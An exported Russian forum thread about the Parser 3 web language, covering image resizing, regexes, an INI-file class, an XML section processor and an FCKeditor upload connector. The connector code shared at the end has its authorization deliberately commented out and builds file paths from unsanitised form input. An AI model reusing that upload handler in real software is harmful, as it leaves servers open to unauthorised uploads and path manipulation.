Потом, чтобы посмотреть результаты работы скрипта nconvert, делаем:\
[code]<p>$f.text</p>[/code]\
И в итоге нам пишут:\
[quote]** NCONVERT v4.51 (c) 1991-2005 Pierre-E Gougelet (Sep 6 2005/15:28:17) ** Version for Linux x86 (X11) (All rights reserved) ** This is a freeware software (for non commercial use)[/quote]\
\
Т.е. вроде все нормально."
"50377","Согласен.\
но серьезный проект, требует совсем других затрат."
"50378","если этот кто-нибудь еще и в filemanager/upload добавит контроллер на parser, к существующим реализациям на ASP, Coldfusion, PHP, Perl и Python,\
то\
ОН БУДЕТ БОЛЬШИМ МОЛОДЦОМ\
и, в случае добавления такого контроллера в следующий релиз FCKeditor'а, очень поспособствует популяризации Parser в массах\
:)"
"50379","в моём распоряжении чуть больше, чем пара дней- цельный месяц :-)\
Постараюсь параллельно разработке делать некие заметки- что-то типа статьи- и надеюсь, что результат будет интересен широкой общественности :-)"
"50381","Оппа. Круто.\
$f.text\
[quote]** NCONVERT v4.51 (c) 1991-2005 Pierre-E Gougelet (Sep 6 2005/15:28:17) ** Version for Linux x86 (X11) (All rights reserved) ** This is a freeware software (for non commercial use)[/quote]\
$f.status\
[quote]254[/quote]\
$f.stderr\
[quote]Error: Not enough memory (/var/www/virtual/.../htdocs/gallery/big/8.jpg) [/quote]\
\
Сервер слабенький попался или nconvert глючный?"
"50382","кому это надо? и зачем?"
"50384","Чем больше людей используют продукт с открытыми исходниками, тем меньше в нем отстается багов, тем больше общая уверенность в том что продукт реально поддерживается. Реальная поддержка это например этот форум, а не какой-нибудь кол цент сами знаете кто и как отвечает. Жаль, что сейчас все сообщество программистов использующих парсерсер вмещается на одном этом форуме."
"50385","Думаю дело не в nconvert'е.\
Если превышаете лимит не сильно, можно попросить чуть поднять планку."
"50386","там у файлов расширение *.htm вроде.."
"50387","Только что пробовали с хостером. Говорит, выделено для всех по 16МБ. Довернули до 20 - то же самое.\
Самое замечательное в том, что он не видит ни одного процесса, который есть больше 2,5 мегабайт."
"50388","ну или может я не вижу очевидного..."
"50390","У Spearance есть такое регулярное выражение:\
	\
[code]^str.match[^^([a-zA-Z0-9_-]+)@([a-zA-Z0-9_.]+)(\\.[a-zA-Z]{2,4})^$]\
[ ]{ }[/code]\
\
по адресу http://www.spearance.ru/parser3/regex/?no=10\
\
Подскажите, как оно работает? Что оно должно выдавать?"
"50391","в таком случае ничего. Смотрите примеры, особенно lib.p там есть простой метод проверки валидности email"
"50393","Сделал jpg ч/б clouds 4000х4000, 726Кб.\
Так вот под виндой, на его трансформ до 180х180 ушло порядка 85мб памяти.\
Вот и прикидывайте.\
\
Думается, надо аккуратнее с ресайзами, ибо никаких ресурсов не хватит если их агульно использовать."
"50394","А нет у парсера никаких преимуществ перед PHP.\
(говорю как человек, знакомый с парсером, начиная со второй версии)"
"50395",">может разместите?\
Я за."
"50396","Не вкурсе, есть где-нибудь подобные утилиты?\
ImageMagick на хостинге не пашет, поэтому нужна альтернатива."
"50397","пишет новичок\
Возможно ли открыть новое окно(не диалог) из модального диалога?\
\
заранее спасибо"
"50398","Я лично пользуюсь только nconvert'ом.\
Может стоит ограничивать размах при загрузке?\
\
Ну или договаривайтесь с хостером об установке imagemagick'а, и уменьшайте им.\
Хотя я не думаю, что он уложится в лимиты при таких размерах исходников.\
\
Ведь тупо загрузить битмап в память нужно... ну, сами посчитайте сколько памяти."
"50399","^^[a-zA-Z0-9_\\-\\.]+@[a-zA-Z0-9_\\-\\.]+\\.[a-zA-Z]{2,4}^$\
\
1) Дособаки может содержаться точка\
2) В домене могут быть цифры\
3) Я почему-то думал знак \"-\" является спецсимволом указывающим интервал a-zA-Z0-9 и как следствие его надо экранировать, те \"\\-\""
"50400","Могу привести пример(ы)"
"50401","он в самом начале или самом конце символьного класса, тогда это не спецсимвол, а простой литерал.\
Что и было в первой версии.\
\
Конечно, полное выражение гораздо более сложное, но, думается, задача стоит оценить быстро, а не точно."
"50402","а вы его не пускаете, для него задача будет просто не решаема, тк он не знает, что вы там на кодировали.\
\
Поэто в данном случае, задача должна решаться точно, или носить уведомительный характер.\
\
зы: если вы конечноже не спамер сканирующий мыла :)"
"50403","Так нужно искать его-родимого.\
Слишком не усложнять выражение и учитывать распространённые форматы."
"50404","Я придерживаюсь мнения, что Парсер не должен быть первым языком в силу того, что многое он делает за программиста, но тем не менее в целом он ничем концептуально новым, таким, чтобы было невозможно после него перейти на что-то другое не является.. \
\
Мне вот на APL предлагали программировать, на него и смотреть то страшно, не то, что писать на нем."
"50405","есть переменная с некторой строкой, мне надо проверить является она одной из определенных:\
Если написать так:\
[code]\
$var[ddd]\
^if($var eq 'aaa' || $var eq 'bbb' || $var eq 'ccc' || $var eq 'ddd' || $var eq 'eee' || $var eq 'fff'){\
... код\
}[/code]\
то работает, а если так, сгруппировав:\
[code]\
$var[ddd]\
^if($var eq ( 'aaa' || 'bbb' || 'ccc' || 'ddd' || 'eee' || 'fff')){\
... код\
}[/code]\
\
, то не работает, причем ошибка такая:\
[b]aaa invalid number (double)[/b]\
\
почему парсер считает что aaa - это должно быть число?"
"50407","И содержимое интерпретируется в булевом контексте, т.е. 1 - истина, 0 - ложь.\
А поскольку у вас там строки и они не могут быть преобразованы к числу - вы получаете ошибку."
"50408","Видимо голову напекло, март все таки :)\
данный подход видимо навели на меня регекспы, ведь такая конструкция:\
[code]\
^if(^var.match[^^(aaa|bbb|ccc|ddd|eee|fff)^$]){\
... код\
}[/code]\
работать будет\
Как наиболее красиво реализовать подобную группировку, БЕЗ регулярных выражений?\
Как мне подсказал коллега в C есть оператор in, определяющий входит ли искомое во множетсво, что то подобное в парсере есть?"
"50409","Скажите пожалуйста, какой способ наиболее рационален для следующей нехитрой процедуры: в данных в файле cfg нужно найти строку, изменить в ней кой-какие данные, и записать ее на то же место. PS полей типа id нет."
"50411","1. воспользоваться SQL\
\
2. а. скопировать в новую таблицу $copy, в которую также добавить  столбец id, в который записывать номер строки в исходной таблице\
б. найти в ней нужную строку, изменить (удалить потом добавить)\
в. сделать сортировку по id\
г. сохранить copy на место оригинала\
\
p.s. код думаю напишете сами?"
"50417","[code]$var[ddd]\
^if($var [b]ne[/b] 'aaa' && $var [b]ne[/b] 'bbb' && $var [b]ne[/b] 'ccc' && $var [b]ne[/b] 'ddd' && $var [b]ne[/b] 'eee' && $var [b]ne[/b] 'fff'){\
... код\
}[/code]\
\
Соответственно так:\
[code]$var[ddd]\
^switch[$var]{\
  ^case[aaa;bbb;ccc;ddd;eee;fff]{}\
  ^case[DEFAULT]{..код..}\
}\
[/code]\
мда. :)"
"50418","как сделать так, чтобы функция выполнялась каждый день по разу, например, в 00:00 ?"
"50420","Я не понял, как задавать аттрибуты и subject?"
"50421","Пример задания некоторых атрибутов там тоже приведен. Остальные — по аналогии."
"50422","Да, да. Понял. Спасибо."
"50423","Вот способ в лоб, но по-моему не самый оптимальный.\
в $copy1 - перебираем и вставляем с первой строки, пока не дойдем до нужной.\
в $copy2 - все оставшиеся.\
к $copy1 добавляем измененную строку и $copy2.\
Метод прямой, но много переборов .menu"
"50424","http://www.maxmind.com/app/geoip_country"
"50426","[code]^if(тут логическое значение вычисляемое однократно)…[/code]\
[code]^while(тут логическое выражение которое нужно вычислять многократно)…[/code]\
то же самое относится и к table.select.\
\
недавние оптимизации работы с числами оптимизировали выражение \"0\" в вычисленный double. так что параметр у while перестал быть выражением, а стал простым числом.\
\
т.к. массовых жалоб не наблюдается, чинить эту мелочь срочности и желания никакой.\
если кому очень нужно, workaround: \
[code]^while(0+0){}[/code]"
"50427","В принципе можно в auto.p задать проверку на время запуска и как только оно перевалит за 00:00, запускать функцию и выставлять какой-нибудь флаг на 12...15 часов (подойдёт hashfile с $expires(0.75) ). Пока флаг валиден - функцию не запускаем.\
\
Это всё если не критична \"астрономическая точность\" запуска функции и выполнение самой функции не занимает много времени (пользователь устанет ждать). Ещё ограничение - нулевая или около того посещаемость сайта - некому будет запускать всё это дело. Но такой сайт никому всё равно не нужен, как правило :)\
\
В общем и целом можно для этих целей даже создать класс \"событие\" (event). Потом пригодится для всяких автоматизаций."
"50428","Привет! \
У меня проблема с вызовом match для хэша, сформированного по таблице.\
Parser пишет что match - undefined method.\
\
Вот файл для таблицы и код...\
\
\
bel.txt ( в формате tab-delimited) :\
name	z	price	f1	date	firm	\
q	q	q	q	q	q\
w	w	w	w	w	w\
\
\
 $tabl[^table::load[bel.txt]]\
 $h[$tabl.fields]\
  ^h.foreach[key;value]{ \
  ^h.$key.match[\\w][g]{1} <br>    - в этой строке ошибка\
  ^value.match[\\w][g]{1} <br>    - тоже ошибка\
  $h.$key\
 }  \
\
#Причем если ключ писать явно - все хорошо: \
\
  ^h.name.match[\\w][g]{1}\
\
Помогите пожалуйста."
"50429","что напечатает?\
если же нет такого .exe и используете модуль к apache mod_parser3.dll, то на вопрос уже отвечали в форуме."
"50430","Вредный совет: никогда не проверяйте работоспособность кода. Смотрите на его красоту. Если самому нравится - не колеблясь включайте в программу :)"
"50431","Глянь класс который чем-то похожим занимается. Можно взять за основу - переделать надо будет @_search_string[]\
\
[code]\
###################################################################################################\
# Класс . Предназначается для работы с файлами вида *.ini\
###################################################################################################\
@CLASS\
iniFile\
###################################################################################################\
# Поля класса:\
#--------------------------------------------------------------------------------------------------\
# $pathToFileIni	Путь к файлу *.ini\
#==================================================================================================\
# Методы класса:\
#--------------------------------------------------------------------------------------------------\
# create[]		Создает или инициализирует файл.\
# get[]			Возвращает значение параметра.\
# getall[]		Возвращает значение всех параметров из файла.\
# put[]			Задает значение параметра.\
# del[]			Удаляет значение параметра.\
# list[]		Возвращает список всех параметров.\
###################################################################################################\
\
\
\
\
\
@create[name;path][_string;_now]\
###################################################################################################\
$pathToFileIni[^path.trim[end;/]/${name}.p]\
^if(-f \"$pathToFileIni\"){\
}{\
	$_now[^date::now[]]\
	$_string[# ${pathToFileIni}. Created ^_now.sql-string[]^#0A]\
	^try{\
		^_string.save[$pathToFileIni]\
	}{\
		$exception.handled(true)\
	}\
}\
#end @create[]\
\
\
\
\
\
@get[param][_tab]\
###################################################################################################\
$_tab[^_search_string[^_get_string[];$param]]\
^if(^_tab.count[] != 0){$result[$_tab.4]}{$result[]}\
#end @get[]\
\
\
\
\
\
@getall[][_str;_tab]\
###################################################################################################\
$result[]\
$_str[^_get_string[]]\
$_tab[^_str.match[^^([ \\x01]*)(\\w+)([ \\x01]*=[ \\x01]*)([^^\\s\\x01]+)(.*\\n)][mg]]\
^if(def $_tab){\
	^_tab.menu{\
		^process[$caller.self]{^$[$_tab.2][$_tab.4]}\
	}\
}\
#end @getall[]\
\
\
\
\
\
@put[param;value][_str;_tab]\
###################################################################################################\
^file:lock[ini.lock]{\
	$_str[^_get_string[]]\
	$_tab[^_search_string[$_str;$param]]\
	^if(^_tab.count[] != 0){\
		$_str[^_str.match[${_tab.1}${_tab.2}${_tab.3}${_tab.4}${_tab.5}][]{${_tab.1}${_tab.2}${_tab.3}${value}${_tab.5}}]\
	}{\
		$_str[${_str}${param} = ${value}^#0A]\
	}\
	^_put_string[$_str]\
}\
$result[]\
#end @put[]\
\
\
\
\
@del[param][_str;_tab]\
###################################################################################################\
^file:lock[ini.lock]{\
	$_str[^_get_string[]]\
	$_tab[^_search_string[$_str;$param]]\
	^if(^_tab.count[] != 0){\
		$_str[^_str.match[${_tab.1}${_tab.2}${_tab.3}${_tab.4}${_tab.5}][]{}]\
		^_put_string[$_str]\
	}\
}\
$result[]\
#end @del[]\
\
\
\
\
@list[][_file]\
###################################################################################################\
$_file[^file::load[text;$pathToFileIni]]\
$result[$_file.text]\
#end @list[]\
\
\
\
\
@_get_string[][_file]\
###################################################################################################\
$_file[^file::load[text;$pathToFileIni]]\
$result[^_file.text.match[\\t][g]{^#01}]\
#end @_get_string[]\
\
\
\
\
\
@_put_string[str]\
###################################################################################################\
$str[^str.match[\\x01][g]{^#09}]\
^str.save[$pathToFileIni]\
$result[]\
#end @_put_string[]\
\
\
\
\
\
@_search_string[str;param]\
###################################################################################################\
$result[^str.match[^^([ \\x01]*)($param)([ \\x01]*=[ \\x01]*)(\\S+)(.*\\n)][m]]\
#end @_search_string[]\
[/code]"
"50433","просто 2 года почти все поситители форума клялись, что делают СМС-редактор, мне интересно кто-нибудь довел дело до конца или нет.. А так же хочется помотреть какой же он СМС на Парсере 3"
"50434","формат JPEG специально спроектирован для очень быстрого уменьшения картинки в кратное 2 число раз по обеим осямю при этом считывается только часть исходного файла и расходуется сильно меньше ресурсов.\
\
поищите информацию на эту тему, поделитесь тут."
"50435","размером bug.zip никого не запугаете.\
недавно в личной беседе с доброжелательным неленивым пользователем parser, приславшим core на 2 мегабайта и подробное описание проблемы, сумели выловить мелкий, но противный bug.\
\
(^cache файл испортился после сбоя питания, при считывании этого файла parser выпадал в core, страница не открывается)"
"50436","раньше было\
[code]\
.html(53:67): syntax error, expecting ']' \
[/code]\
\
сейчас добавилась не особенно существенная часть (которая в других сообщениях об ошибках крайне полезна).\
\
предлагаю в подобных случаях делать так:\
в той точке, куда ругаются на «expecting ']'», вписать эту самую «]», после чего в любимом редакторе на ней нажать кнопку «найди, мой любимый редактор, мне парную этой скобку».\
после этого сразу становится ясно, где и чего не хватает."
"50437","libparser3mysql.so собралась только с учетом http://www.parser.ru/forum/?id=45317 RedHut на www.rusonyx.ru"
"50438","увы, удалённо тут трудно помочь.\
\
для vs2003 проекты в исходниках parser имеются = тривиально скомпилить с отладочной информацией.\
\
дальше:\
1. начинаем с .cgi версии,\
2. организуем, чтобы подвисло, \
3. просим tools|attach to process...\
4. выбираем parser\
5. нажимаем кнопку stop\
6. смотрим, где стоит и чего ждёт"
"50439","В .htaccess прописан\
[code]\
ErrorDocument 404 /404.html\
[/code]\
\
Как мне в парсером определить этот фат, не залезая в файл .htaccess ? $env:ERROR_DOCUMENT, $env:SERVER_ERROR_DOCUMENT не выдают."
"50440","пошли ее - \"эту штуку\" на fredck@fckeditor.net,\
и не задавайся риторическими вопросами, вроде \"зачем?\""
"50441","Не знаю можно ли назвать, это Hardcore, выкладываю класс который годик с лишним работал на паре сайтов под parser314 windows / freebsd\
, он и сейчас работает на 316 под windows, а на 321 пишет в лог следующее\
callsections.p(145:95): 'getAttribute' method can only be called on nodes of ELEMENT type [parser.runtime]\
\
Вопрос: как учитывать разницу между веткой 316 и 321 при работе с Dom ?\
\
[code]\
@CLASS\
callsections\
\
##################################################################################\
##                                                                              ##\
##   автор Юлия Сергеева                                                        ##\
##        http://viju.tvercity.net/articles/                                    ##\
##        juliachina@mail.ru                                                    ##\
##   лицензия: пользуйтесь на здоровье                                          ##\
##   улучшите сообщите                                                          ##\
##                                                                              ##\
##                                                                              ##\
##   @process_sec[name]:                                                        ##\
##   начиная с секции с <sectiion name=\"$name\">                                 ##\
##   1. проходим по всем вызовам call-section внутри этой секции                ##\
##   2. при каждом найденном вызове:                                            ##\
##       - выясняем есть ли секция с таким же именем                            ##\
##         - если есть: для нее повторяем тоже самое начиная с п.1              ##\
##            и в результате получаем данные для вставки (xdoc)                 ##\
##         - если нет: данные для вставки: []                                   ##\
##       - заменяем место вызова полученными данными                            ##\
##   3. накладываем xslt на данную секцию - получаем xdoc                       ##\
##                                                                              ##\
##   !!! все преобразования xslt накладываются на всю загруженную xml-ку        ##\
##       а не на отдельные секции:                                              ##\
##       => в xslt должна быть                                                  ##\
##          1. явно указана обрабатываемая секция                               ##\
##                <xsl:template match=\"section[@name='....']\"                   ##\
##          2. должен присутствовать <xsl:template match=\"text()\"/>             ##\
##                                                                              ##\
##                                                                              ##\
##                                                                              ##\
##        # Test CallSections_beta                                              ##\
##        # test 1                                                              ##\
##        <div style=\"background-color: blue;color:white;\">                     ##\
##        CallSections_beta:  test 1</div>                                      ##\
##        $cs[^callsections_beta::create[/test/.pages/about.ai.xml]]            ##\
##                                                                              ##\
##        $res[^cs.process_sec[meta]]                                           ##\
##        #^res.string[$.method[html]]                                          ##\
##        $cs.test                                                              ##\
##                                                                              ##\
##        # test 2                                                              ##\
##        <div style=\"background-color: blue;color:white;\">                     ##\
##        CallSections_beta:  test 2</div>                                      ##\
##        ^cs.includeXmls[]                                                     ##\
##        #^taint[^cs.basexml.string[]]                                         ##\
##        <br/>                                                                 ##\
##        $cs.test                                                              ##\
##################################################################################\
\
@create[hash]\
\
$basexml[^xdoc::load[$hash.pagePath]]\
$test[create:: загружена базовая xml $hash.pagePath <br/>]\
^if(def $hash.params){$params[$hash.params]}{$params[]}\
^includeXmls[]\
\
###############################################################################\
@process_sec[name][i;strpath;callsections_nodes;secpath;sec_node;data;node]\
\
$test[$test process_sec:: process section name $name ... <br/>]\
\
$strpath[/page/section[@name='$name']//call-section]\
$callsections_nodes[^basexml.select[$strpath]]\
\
^for[i](0;$callsections_nodes-1){\
  $node[$callsections_nodes.$i] \
  $sec_name[^node.getAttribute[name]]  \
    \
# find secion with name $sec_name\
  $secpath[/page/section[@name='$sec_name']]\
  $sec_node[^basexml.selectSingle[$secpath]] \
   \
  $test[${test} process_sec:: ${sec_name}<br/>]\
  \
# if finded - process_sec[sec_name]\
  ^if($sec_node is xnode){\
     $data[^process_sec[$sec_name]]\
  }{    \
     $data[]\
  }\
  \
# replace\
  ^inclusion[$data;$node]\
  \
}\
\
# возвращаем xdoc или строка или xnode\
$result[^transform_sec[$name]]\
\
###############################################################################\
@transform_sec[name][path;sec_node;xslpath;transformedDoc]\
\
$path[/page/section[@name='$name']]\
$sec_node[^basexml.selectSingle[$path]] \
\
^if($sec_node is xnode){\
  $xslpath[^sec_node.getAttribute[xslt]]\
# transform  \
  ^if(-f $xslpath){\
            $transformedDoc[^basexml.transform[$xslpath][$params]]            \
            \
            $test[${test} transform_sec::  результат трансформации $name :<br/> ^transformedDoc.string[$.method[html]]<br/>] \
            \
            $result[$transformedDoc]                        \
   }{\
            $test[${test} transform_sec:: не нашел xslt для секции $name<br/>]\
            $result[$sec_node]\
   }\
}{\
   $test[${test} transform_sec:: не нашел секцию $name<br/>]\
   $result[none]\
}\
\
###############################################################################\
@incAsDocfrag[data;insetnode;replace][root;buffer;docfrag;tmp1;tmp2;parelem]\
# вставка типа DocumentFragment\
# $insetnode /xnode/ место вставки в базовой xml ($basexml) \
# (элемент, который заменяется данным фрагментом)\
# если replace=\"false\" - вставляем фрагмент как дочерний для insetnode, а не замещаем\
# $data /xdoc/ исходный документ (который целиком копируется вместо $insetnode)\
# $data /xnode/\
\
# копируем 'в буфер' нужный кусок дерева из исходного документа $xresdoc   \
^if($data is xdoc){$root[$data.documentElement]}\
^if($data is xnode){$root[$data]}\
\
$buffer[^basexml.importNode[$root](1)]   \
\
# создаем в целевом документе $basexml фрагмент и помещаем туда данные из буфера\
$docfrag[^basexml.createDocumentFragment[]]\
$tmp1[^docfrag.appendChild[$buffer]]\
   \
#  замещаем элемент 'место вставки' на наш фрагмент или просто дабавляем\
^if((def $replace) && ($replace eq \"false\")){     \
  $tmp2[^insetnode.appendChild[$docfrag]]\
  \
  $test[${test} incAsDocfrag:: добавили фрагмент<br/>]\
  \
 }{\
  $parelem[$insetnode.parentNode]\
  $tmp2[^parelem.replaceChild[$docfrag;$insetnode]]  \
  \
  $test[${test} incAsDocfrag:: заменили фрагмент $tmp2.nodeName c xml = ^tmp2.getAttribute[xml] c xslt = ^tmp2.getAttribute[xslt]<br/>] #!!!!!\
 }\
  \
# xdoc не возвращает ?\
#$return[$tmp2]\
\
###############################################################################\
@incAsCdata[data;insetnode][newCdataNode;cdata;parelem;tmp;name]\
# вставка типа CDATA (замена на CDATA)\
# $insetnode /xnode/ место вставки в базовой xml ($basexml)\
# $data /xdoc/ исходный документ (который целиком копируется вместо $insetnode)\
# $data /xnode/ содержимое узла (д.быть в cdata)\
\
^if($data is xdoc){\
        $cdata[^data.string[\
                      $.omit-xml-declaration[yes]\
                      $.indent[no]\
                      ]\
              ]        \
}\
^if($data is xnode){\
        ^if($data.firstChild.nodeType == 4){\
            $cdata[$data.firstChild.nodeValue] \
         }{\
            $cdata[эта section должна содержать CDATA]\
         }      \
}              \
^if($data is string){\
        $cdata[$data]    \
}\
\
$newCdataNode[^basexml.createCDATASection[$cdata]]\
\
# test\
$name[^insetnode.getAttribute[name]]\
$test[${test} incAsCdata:: cdata для call-section ${name} : $cdata <br/>]\
\
#  замещаем элемент 'место вставки' на наш фрагмент\
$parelem[$insetnode.parentNode]     \
$tmp[^parelem.replaceChild[$newCdataNode;$insetnode]]\
\
$return[$newCdataNode]\
\
###############################################################################\
@inclusion[data;insetnode][type]\
# $insetnode /xnode/ место вставки в базовой xml ($basexml), call-section элемент\
# $data /xdoc/ исходный документ (который целиком копируется вместо $insetnode)\
# $data /string/\
\
^if($data is xdoc || $data is xnode || $data is string){  \
  \
   $test[${test} inclusion:: is xdoc<br/>]  \
  \
# замена элемента call-section на данные\
# $data -> $basexml\
  ^if($insetnode is xnode){\
    \
     $test[${test} inclusion:: insert xdoc<br/>]\
\
#  вставка\
     $type[^insetnode.getAttribute[as]]\
     ^if($type eq \"cdata\"){\
        $return[^incAsCdata[$data;$insetnode]]\
     }{\
        $return[^incAsDocfrag[$data;$insetnode]]\
     }\
  }  \
}{  \
#если $data например строка - удаляем элемент call-section\
  $test[${test} inclusion:: insert nothing<br/>]\
  \
  $parelem[$insetnode.parentNode]\
  $return[^parelem.removeChild[$insetnode]]\
}  \
\
###############################################################################\
@includeXmls[][i;strpath;section_nodes;sec_node;xdoc_from_file;path;newsection;oldxslt;data;newCdataNode;tmp]\
# вставка всех секций из xml файлов,\
# если есть для секции аттрибут xml\
# и обработка всех секций типа parser\
\
\
$strpath[/page/section]\
$section_nodes[^basexml.select[$strpath]]\
\
^for[i](0;$section_nodes-1){\
  $sec_node[$section_nodes.$i]\
# вставка внешнего xml   \
  $path[^sec_node.getAttribute[xml]]\
  $oldxslt[^sec_node.getAttribute[xslt]]\
  $test[${test} includeXmls:: работаем с секцией name = ^sec_node.getAttribute[name] <br/>]\
  ^if(-f $path){\
      ^try{ \
          $xdoc_from_file[^xdoc::load[$path]]\
          \
          $test[${test} includeXmls:: загрузил данные в xdoc из $path <br/>]\
          \
          ^if($oldxslt ne \"\"){\
            $newsection[^xdoc_from_file.selectSingle[section]]\
            ^newsection.setAttribute[xslt;$oldxslt]\
            $test[${test} includeXmls:: оставили ссылку на xslt, которая была $oldxslt <br/>]\
          }{\
            $test[${test} includeXmls:: ссылка на xslt будет заменена xslt из включаемого файла<br/>]\
          }\
          \
          $node_ai[^incAsDocfrag[$xdoc_from_file;$sec_node]]\
          \
      }{\
          ^if($exception.type eq xml){ \
              $exception.handled(1) \
              $test[$test includeXmls:: не смог загрузить его в xdoc<br/>Ошибочный XML3,<pre>$exception.comment</pre>]              \
           } \
        }               \
  }\
# обрабатываем внешний parser  \
    $ppath[^sec_node.getAttribute[pref]]\
    ^if(-f $ppath){\
                \
        $file[^file::load[text;$ppath]] \
        $data[^process[$caller.self]{^taint[as-is][$file.text]}[ \
           $.file[$ppath] \
        ]]\
        \
        $newCdataNode[^basexml.createCDATASection[$data]]\
        $tmp[^sec_node.appendChild[$newCdataNode]]\
    }\
}\
\
\
$test[${test} includeXmls:: результат: <br/> ^taint[^basexml.string[]]<br/>]\
\
[/code]"
"50442","Подскажите pls..."
"50443","Помоги заказчику:\
сделай reg, или ручками\
My Computer ->\
  Folder Options -> выбрать jpeg\
    Advanced(если таковой нет нажать Restore)->\
      Edit File Types - New\
Action: Подготовить для сайта\
Application used to perform action: \
\"nconvert.exe\" твои параметры ресайза \"%1\"\
\
Люди совсем избаловались, аплоадят мегабайтами, а ано надо ?!"
"50444","аля http://www.parser.ru/forum/,\
писать то, что уже давно сделано, нехочется"
"50446","Зачем заставлять их грузить в дополнение еще и thumbnail для фото?"
"50447","не лень.\
Помню что было, где не помню поиск по форуму в примерах не ищет, а смотреть их - я смотрел в 2003"
"50448","Такие странности Вы иногда говорите.\
Часто создается впечатление, что вам, Kaverdo, дай только повод возмутиться.\
\
Когда пользователю в браузер вываливается несколько мегабайт, в чем здесь можно найти помощь.\
\
Скорее это помощь провайдеру, по скорейшему обнуленинию счета пользователя!\
:)"
"50449","т.е. используется мой модуль авторизации"
"50450","Ну… Как бы, если открывается файл 404.html значит произошла 404 ошибка. Иными словами, на имя файла смотрите ;)"
"50451","Я имею ввиду, что если фотография загружаются на сервер пользователем, то зачем заставлять его ручками делать превьюшку, когда машина в состоянии сама из предоставленной фотографии ее сделать?"
"50453","Добрый день!\
\
Столкнулся с тем, что собрав apache с mod_parser3, оставив на вечер работать утром не обнаружил свободной оперативки. Часть валялось в свопе около 1.3 Гб. На сколько я понял это утечка памяти. Стал чаще прибивать процессы в apache, не уверен, что сильно спасет. Проблема действительно существует или это только у меня такое?\
\
\
--\
С уважением,\
Avramenko Andrew\
Volgograd Linux Users Group\
ALT Linux TEAM"
"50454","Подробнее: у меня инсталяционный скрипт должен проверить настройки сервера. В том числе и установленную для ошибок страницу (может быть любое имя). Т.е.: мне надо получить переменную ErrorDocument из .htaccess в инсталяционный скрипт."
"50455","необходимо выдать по http-запросу чистый xml-документ\
как это сделать с помощью парсера?"
"50458","больше всего там, конечно \"радует\" неприкрытость зада во всех коннекторах, Вы можете подать им хороший пример. Пусть небольшая настройка станет обязательной\
\
может поймут, что тупой copy/paste опасен, и они тем самым медвежью услугу оказывают."
"50461","1. Грузим file::load по http заведомо отсутствующий файл (и лучше не html)\
2. http://www.parser.ru/forum/?id=48203\
\
Попробуйте, может получится."
"50463","в конфиг фск-едитора пишите строчку\
\
[code]FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.htm?Connector=connectors/parser/connector.html' ;[/code]\
\
И соответст венно привожу код connectors/parser/connector.html\
[code]\
@USE\
/classes/_admin/logon_admin.p\
\
@auto[]\
# каталог куда фск сможет что либо закачивать\
$userFiles[/_user_files]\
\
$filePermission[\
	$.Image[\
		$.AllowedExtensions[jpg|gif|jpeg|png]\
		$.DeniedExtensions[]\
	]	\
	$.File[\
		$.AllowedExtensions[]\
		$.DeniedExtensions[phtml|php|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg]\
	]	\
	$.Flash[\
		$.AllowedExtensions[swf|fla]\
		$.DeniedExtensions[]\
	]	\
	$.Media[\
		$.AllowedExtensions[swf|fla|jpg|gif|jpeg|png|avi|mpg|mpeg]\
		$.DeniedExtensions[]\
	]\
]\
$resourcePath[\
	$.Image[img]\
	$.File[file]\
	$.Flash[flash]\
	$.Media[]\
]\
\
\
#################################3\
@main[]\
^connect[$CONNECT_STRING]{\
# ---------------------------------------------\
# Тут я закоментирал авторизацию и проверку на права!\
# Кому надо можно написать свои вызовы авторизации\
# ---------------------------------------------\
#$ADMIN[^getUserFromCookie[]]\
#$su[X]\
#^if(def $ADMIN && ^access[$su]){ \
\
	^fileManager[]\
\
#}{\
#	сорри!!!\
#}\
}\
\
#######################\
@fileManager[]\
$now[^date::now[]]\
\
$resourceType[$form:Type]\
$command[$form:Command]\
$currentFolder[$form:CurrentFolder]\
#$currentFolder[^currentFolder.trim[both;\\/]]\
\
$rp[$resourcePath.$resourceType]\
$path[${userFiles}/${rp}$currentFolder]\
$fileExt[$filePermission.[$resourceType].AllowedExtensions]\
$deny[$filePermission.[$resourceType].DeniedExtensions]\
\
\
\
^switch[$command]{\
^case[GetFoldersAndFiles]{$xml[^getFoldersAndFiles[]]}\
^case[CreateFolder]{$xml[^createFolder[$form:NewFolderName]]}\
^case[GetFolders]{$xml[^getFolders[]]}\
^case[FileUpload]{$xml[^fileUpload[]]}\
^case[DEFAULT]{$xml[^getFoldersAndFiles[]]}\
}\
\
$response:Expires[ Mon, 26 Jul 1997 05:00:00 GMT]\
$response:Last-Modified[^now.unix-timestamp[]]\
$response:Cache-Control[no-store, no-cache, must-revalidate,post-check=0, pre-check=0]\
^if($command ne \"FileUpload\"){$response:Content-Type[text/xml^; charset=windows-1251]}\
$response:Pragma[no-cache]\
$response:body[$xml]\
\
$result[]\
\
\
@fileUpload[]\
$error[0]\
^form:fields.foreach[field;value]{ \
	^if(^field.pos[NewFile]>=0){\
		$name[$value.name]\
		^try{\
			^if(^name.match[^^.*\\.($deny)^$] || (!^name.match[^^.*\\.($fileExt)^$])){\
#неверное расширение файла\
			$error[202]	\
			}{\
			^value.save[binary;${path}$value.name]\
			}\
		}{\
		$error[1000]\
		$exception.handled(1)\
		\
		}\
}\
}\
$result[\
<script type=\"text/javascript\">\
window.parent.frames[\"frmUpload\"].OnUploadCompleted($error, '$name')^;\
</script>]\
\
\
\
@listFiles[]\
### Выводит список файлов в формате xml\
\
$list[^file:list[$path;\\.($fileExt)^$]] \
^if(def $list){\
$result[<Files>\
	^list.menu{$f[^file::stat[$path/$list.name]]$sz(^math:round($f.size/1024)) ^if($sz==0){$sz(1)}<File name=\"$list.name\" size=\"$sz\"/>}\
</Files>]\
}{\
$result[<Files/>]\
}\
\
\
@listFolders[]\
### Выводит список каталогов в формате xml\
$list[^file:list[$path]]\
^if(def $list){\
$result[<Folders>\
^list.menu{^if(-d \"$path/$list.name\"){<Folder name=\"$list.name\"/>\
}}\
</Folders> ]\
}{\
$result[<Folders/>] \
}\
\
\
@getFoldersAndFiles[]\
$folders[^listFolders[]]\
$files[^listFiles[]]\
\
$result[^createXmlHeader[]\
$folders\
$files\
^createXmlFooter[]]\
\
\
@getFolders[]\
$folders[^listFolders[]]\
$result[^createXmlHeader[]\
$folders\
^createXmlFooter[]]\
\
\
\
@createXmlHeader[]\
$result[<?xml version=\"1.0\" encoding=\"utf-8\" ?> \
<Connector command=\"$command\" resourceType=\"$resourceType\" >\
<CurrentFolder path=\"$currentFolder\" url=\"$path\" />\
]\
\
@createXmlFooter[]\
$result[</Connector>]\
